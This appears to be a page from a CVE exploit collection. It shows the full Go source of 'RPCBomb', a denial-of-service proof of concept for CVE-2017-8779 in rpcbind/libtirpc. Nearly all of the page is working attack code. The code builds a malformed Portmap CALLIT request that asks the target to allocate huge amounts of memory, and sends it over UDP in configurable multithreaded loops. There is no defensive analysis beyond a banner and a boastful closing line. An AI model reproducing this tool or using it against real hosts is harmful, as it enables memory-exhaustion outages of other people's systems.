4837 Total CVEs
26 Years
GitHub
README.md
README.md not found for CVE-2017-8779. The file may not exist in the repository.
POC / RPCBomb.go GO
package main

import (
	"bytes"
	"encoding/binary"
	"flag"
	"fmt"
	"net"
	"os"
	"strconv"
	"time"
)

// Simple Error Checking function
func CheckError(err error) {
	if err != nil {
		fmt.Println("Error: ", err)
		os.Exit(0)
	}
}

// UPD Connection Handler
func handleUDPConnection(conn *net.UDPConn, payload *bytes.Buffer, threadid int) (int, []byte, *net.UDPAddr, error) {

	_, err := conn.Write(payload.Bytes()) // Send UDP packet to Server
	CheckError(err)                       // Check for errors from sending the packet

	recievebuf := make([]byte, 1024)             // Receive Buffer
	n, addr, err := conn.ReadFromUDP(recievebuf) // wait for response (Or Timeout)
	conn.Close()                                 // Close connection

	if err != nil {
		fmt.Println("\nNo response from server received. Thread ID:", threadid)
	}

	return n, recievebuf, addr, err
}

// Thread Handler
func WorkerThread(id int, numLoops int64, buf *bytes.Buffer, localhost *net.UDPAddr, remotehost *net.UDPAddr, tout int, result chan int) {

	timeoutCount := 0 // Track No response from target

	fmt.Printf("Payload Thread %[2]x: %[1]x\n", buf.Bytes(), id)

	for i := 1; int64(i) <= numLoops; i++ {
		conn, err := net.DialUDP("udp", localhost, remotehost) // setup the connection
		CheckError(err)                                        // Check the error

		timeOut := time.Now().Local().Add(time.Second * time.Duration(tout)) // Set Read timeout (10 Secs) variable
		conn.SetReadDeadline(timeOut)                                        // Set the actual Timeout

		n, bufR, addr, err := handleUDPConnection(conn, buf, id)

		if err != nil {
			timeoutCount++
		}

		if int64(i) == numLoops {
			fmt.Println("\n\nThread:", id, "Report. Status: Success")
			fmt.Printf("Received Messgae: %x", bufR[0:n])
			fmt.Println(" from ", addr)
			fmt.Println("Total Timeouts:", timeoutCount, "\n")
		}

		result <- 1
	}
	close(result)
}

func main() {
	startTime := time.Now() // Store start time

	bomb := `
                                 + # ,
                           : @ @ @ @ @ @
               @ @ ; . + @ @ @ .       @ @
                 @ @ @ @ @             @ @
                                 .     @ #
                     ; @ @ @ . : @ @ @ @
                 @ @ @ @ @ @ @ @ @ @ @ ;
               @ @ @ @ @ @ @ @ @ @ @ @ @
             @ @ @ @ @ @ @ @ @ @ @ @ @ @ :
           # @ @ @ @ @ @ @ @ @ @ @ @ @ '
           @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
         . @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ .
         + @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ +
         + @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ +
         : @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ :
           @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
           @ @ @ @ @ @ @ @ @ @ @ @ @ @ ,
             @ @ @ @ @ @ @ @ @ @ @ @ @
             , @ @ @ @ @ @ @ @ @ @ @
                 @ @ @ @ @ @ @ @ @
                   , @ @ @ @ @

     r p c b o m b
     DoS exploit for *nix rpcbind/libtirpc.
     Based on the work from Guido Vranken.
     https://guidovranken.wordpress.com/

     (c) 2017 Joshua Magady.
	`
	fmt.Println(bomb)

	ptrHost := flag.String("host", "REQUIRED", "This is the target host of the attack (IP Address)") // Create Host Flag
	ptrNumBytes := flag.Int("numbytes", 5999999999, "This the number of bytes to try an allocate")   // create numBytes Flag
	ptrPort := flag.Int("port", 111, "This is the port RPC Bind is running on")                      // create Port Flag
	ptrLoop := flag.Int64("loop", 1, "The number of times to loop (max=9223372036854775807)")        // Create Loop Flag
	ptrThreads := flag.Int("threads", 1, "The number of threads (Workers) to launch the attack")     // Create threads Flag

	flag.Parse() // Parse all Flags

	fmt.Println("Target Host:", *ptrHost)                                // Print Host flag
	fmt.Println("Number of Bytes to allocate (per loop):", *ptrNumBytes) // Print the number of bytes
	fmt.Println("Target Port:", *ptrPort)                                // Print the Port Number

	buf := new(bytes.Buffer)      // Binary Writer Buffer
	byteOrder := binary.BigEndian // Set the Byte Order

	// RPC Byte Code
	binary.Write(buf, byteOrder, uint32(0))            // xid
	binary.Write(buf, byteOrder, uint32(0))            // Message Type: CALL (0)
	binary.Write(buf, byteOrder, uint32(2))            // RPC Version: 2
	binary.Write(buf, byteOrder, uint32(100000))       // Program: Portmap (100000)
	binary.Write(buf, byteOrder, uint32(4))            // Program Version: 4 (old Value: 2)
	binary.Write(buf, byteOrder, uint32(9))            // Procedure: CALLIT (9) (old Value 5)
	binary.Write(buf, byteOrder, uint32(0))            // Credentials Flavor: AUTH_NULL (0)
	binary.Write(buf, byteOrder, uint32(0))            // Length: 0
	binary.Write(buf, byteOrder, uint32(0))            // Credentials Verifier: AUTH_NULL (0)
	binary.Write(buf, byteOrder, uint32(0))            // Length: 0
	binary.Write(buf, byteOrder, uint32(0))            // Program: Unknown (0)
	binary.Write(buf, byteOrder, uint32(0))            // Version: 0 (old Value 1)
	binary.Write(buf, byteOrder, uint32(4))            // Procedure: 4 (old Value 1)
	binary.Write(buf, byteOrder, uint32(4))            // Argument Length
	binary.Write(buf, byteOrder, uint32(*ptrNumBytes)) // Argument (Payload)

	fmt.Printf("Payload: %x\n", buf.Bytes()) // Show Payload that will be sent

	serverAddr, err := net.ResolveUDPAddr("udp", *ptrHost+":"+strconv.Itoa(*ptrPort)) // Resolves the Attack Target
	CheckError(err)                                                                   // Check the error

	localAddr, err := net.ResolveUDPAddr("udp", ":0") // Resolves localhost
	CheckError(err)                                   // Check the error

	loopCount := *ptrLoop / int64(*ptrThreads)
	fmt.Println("Loop Count per Thread:", loopCount)
	status := make(chan int)
	for i := 0; i < *ptrThreads; i++ {

		go WorkerThread(i, int64(loopCount), buf, localAddr, serverAddr, 10, status)

	}

	currentloop := 0
	for loopfin := range status {
		currentloop += loopfin
		now := time.Now()            // Capture the time at this point
		elapse := now.Sub(startTime) // calculate the time difference between now and when the program started

		fmt.Printf("\r Loop %[1]d/%[2]d - Elapsed Time: %[3]v", currentloop, *ptrLoop, elapse)
	}
	fmt.Println("\n\nDamn it feels good to be a gangster.")
}